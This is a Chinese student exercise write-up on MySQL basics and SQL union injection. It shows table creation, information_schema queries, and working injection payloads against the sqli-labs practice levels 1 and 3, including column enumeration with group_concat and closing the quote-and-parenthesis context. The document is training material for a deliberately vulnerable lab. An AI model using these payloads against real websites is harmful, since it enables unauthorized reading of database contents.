sql注入联合注入及mysql语法练习
1、创建以自己姓名缩写命名的数据库和表,字段要求有name,id,填写相关数据
#创建数据库
create database database_jay;
#使用数据库
use database_jay;
#创建表
create table table_jay(
id int(10) not null auto_increment primary key,
name varchar(20)
);
#插入数据
insert into table_jay(id,name) values (1,'zhangsan');
insert into table_jay(id,name) values (2,'lisi');
insert into table_jay(id,name) values (3,'wangwu');
查询自己的所有信息,配合union同时输出1,2在个人信息下面
select * from table_jay union select 1,2;
在information_schema数据库里查找自己新建的数据库的结构
#使用use information_schema数据库
use information_schema;
#从 MySQL 的系统数据库 information_schema 中的 schemata表中检索出名为 database_jay的数据库的详细信息
select * from information_schema.schemata where schema_name = 'database_jay';
安装sqlilab靶场,使用第一关联合查询查询靶场数据库的名字
/?id=-1' UNION SELECT NULL, database(), NULL UNION SELECT NULL, NULL, NULL --+
使用联合查询查询自己数据库的某些信息
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='database_jay' AND table_name='table_jay'--+
查询靶场users表任意字段的内容,要求解释查询语句每个关键字的作用,例如为什么要id=111,为什么要加上and1=2,演示截图说明group_concat的作用
?id=111' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--+
id=111: 这个部分是 URL 参数中的值。我们将在这里注入我们的 SQL 查询。这里的值 111 可以是任意值,因为我们不会使用它。
UNION SELECT 1, group_concat(column_name), 3: 这是一个联合查询。我们正在查询 information_schema.columns 表来获取 users 表的列名。我们使用 group_concat(column_name) 函数将列名连接成一个字符串。
FROM information_schema.columns WHERE table_name='users': 这个条件用于指定我们要检索列名的表。我们指定了表名为 'users',这意味着我们将只检索 users 表的列名。
--+: 这是一个注释,用于注释掉原始查询后面的任何内容,以确保我们的注入不会被截断。
使用sqlilab靶场第三关查到当前数据库名字,说明如何闭合的
/?id=1221') union select 1,database(),version() --+
这里看源码
发现id=('$id')
多个括号,所以需要将括号也闭合